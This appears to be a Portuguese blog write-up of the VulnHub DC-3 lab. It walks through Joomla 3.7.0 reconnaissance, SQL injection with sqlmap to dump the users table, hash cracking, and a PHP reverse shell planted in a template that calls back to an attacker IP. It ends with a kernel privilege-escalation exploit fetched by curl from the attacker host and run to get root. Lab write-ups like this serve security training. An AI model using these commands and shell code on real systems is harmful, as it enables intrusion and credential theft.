Exploração e Escalação de Privilégios no VulnHub DC-3 via Joomla

Configuração do Ambiente

O ambiente DC-3 consiste em uma máquina virtual projetada para a prática de técnicas de pentest e exploração de vulnerabilidades. O objetivo é obter acesso root e localizar a flag final, partindo de um único ponto de entrada.

Nota de configuração para VMware: Caso a máquina virtual não inicie corretamente após a importação, acesse as configurações da VM, navegue até a seção de hardware CD/DVD, abra as opções avançadas e altere a configuração de IDE 0:1 para IDE 0:0.

Reconhecimento de Rede e Serviços

O primeiro passo é identificar o endereço IP da máquina alvo na rede local. Em vez de utilizar scanners ARP tradicionais, podemos usar o Nmap para realizar uma descoberta de hosts via ping sweep.

nmap -sn 192.168.64.0/24

Com o IP da máquina alvo identificado como 192.168.64.138, prosseguimos com um scan abrangente de portas e detecção de versões.

nmap -sV -p- --min-rate 1000 192.168.64.138

O scan revela apenas a porta 80 (HTTP) aberta. Para identificar as tecnologias utilizadas pelo servidor web, utilizamos o WhatWeb com um nível de agressão mais alto para uma análise mais profunda.

whatweb --aggression=heavy http://192.168.64.138

A análise indica que o site é executado no CMS Joomla.

Análise do CMS Joomla

Para mapear vulnerabilidades específicas e diretórios ocultos do Joomla, instalamos e executamos a ferramenta joomscan.

sudo apt-get install joomscan -y
joomscan -u http://192.168.64.138

A varredura retorna informações cruciais: a versão exata do CMS (Joomla 3.7.0) e o caminho para o painel administrativo (/administrator/).

Exploração Inicial via SQL Injection

Consultando o banco de dados de exploits locais, identificamos uma vulnerabilidade de SQL Injection na versão 3.7.0 do Joomla.

searchsploit joomla 3.7.0

Após revisar o documento do exploit (ID 42033), extraímos o payload de injeção. Para automatizar a extração do banco de dados e evitar prompts interativos, utilizamos o sqlmap com a flag --batch, encapsulando a URL em uma variável para melhor legibilidade.

ALVO="http://192.168.64.138/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1"

# Enumeração de bancos de dados
sqlmap -u "$ALVO" -p "list[fullordering]" --batch --risk=3 --level=5 --random-agent --dbs

# Enumeração de tabelas no banco joomladb
sqlmap -u "$ALVO" -p "list[fullordering]" --batch --risk=3 --level=5 --random-agent -D joomladb --tables

# Extração de credenciais da tabela de usuários
sqlmap -u "$ALVO" -p "list[fullordering]" --batch --risk=3 --level=5 --random-agent -D joomladb -T "#__users" --dump

A extração retorna o nome de usuário admin e o hash da senha correspondente.

Quebra de Credenciais

O hash extraído é armazenado em um arquivo local para ser processado pelo John the Ripper, utilizando um dicionário de senhas comum.

echo "admin:\$2y\$10\$03b26...hash_aqui..." > hashes_joomla.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes_joomla.txt
john --show hashes_joomla.txt

A quebra do hash revela a credencial de acesso: admin:snoopy.

Acesso Inicial e Web Shell

Utilizando as credenciais válidas, acessamos o painel administrativo em http://192.168.64.138/administrator/. Navegando até o gerenciador de templates, é possível editar os arquivos do tema ativo (beez3).

Em vez de utilizar scripts prontos, criamos um arquivo PHP minimalista para estabelecer um reverse shell, alterando a estrutura padrão e os nomes das variáveis.

<?php
$host_atacante = '192.168.64.129';
$porta_conexao = 4444;
$sock = fsockopen($host_atacante, $porta_conexao);
exec('/bin/sh -i <&3 >&3 2>&3');
?>

O código é salvo no diretório do template como shell.php. O caminho completo para execução será: /templates/beez3/html/shell.php.

Antes de acionar o payload, iniciamos um listener na máquina de ataque:

nc -lvnp 4444

Ao acessar a URL do script via navegador, a conexão é estabelecida. Para obter um terminal totalmente interativo, utilizamos o utilitário script em vez do método tradicional via Python.

script -q /dev/null -c bash

Escalação de Privilégios

Com acesso inicial ao sistema, verificamos as informações do kernel e do sistema operacional.

uname -a
cat /etc/os-release

O sistema é um Ubuntu 16.04. Buscamos no repositório de exploits por vulnerabilidades de escalação de privilégios locais para esta versão.

searchsploit ubuntu 16.04 Privilege Escalation

Selecionamos o exploit 39772 (eBPF_mapfd_doubleput), que explora uma falha de race condition no kernel. O exploit compilado é baixado diretamente para o diretório web, que possui permissões de escrita.

cd /var/www/html/templates/beez3
curl -O http://192.168.64.129:8000/39772/exploit.tar
tar -xvf exploit.tar
cd ebpf_mapfd_doubleput

Executamos o script de compilação e, em seguida, o binário do exploit:

./compile.sh
./doubleput

A execução do exploit é bem-sucedida, resultando na escalação imediata para o usuário root.

root@dc-3:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root)
root@dc-3:~/ebpf_mapfd_doubleput# cat /root/the-flag.txt

Tags: Joomla sqlmap Privilege Escalation Webshell VulnHub

Publicado em 8-23 14:25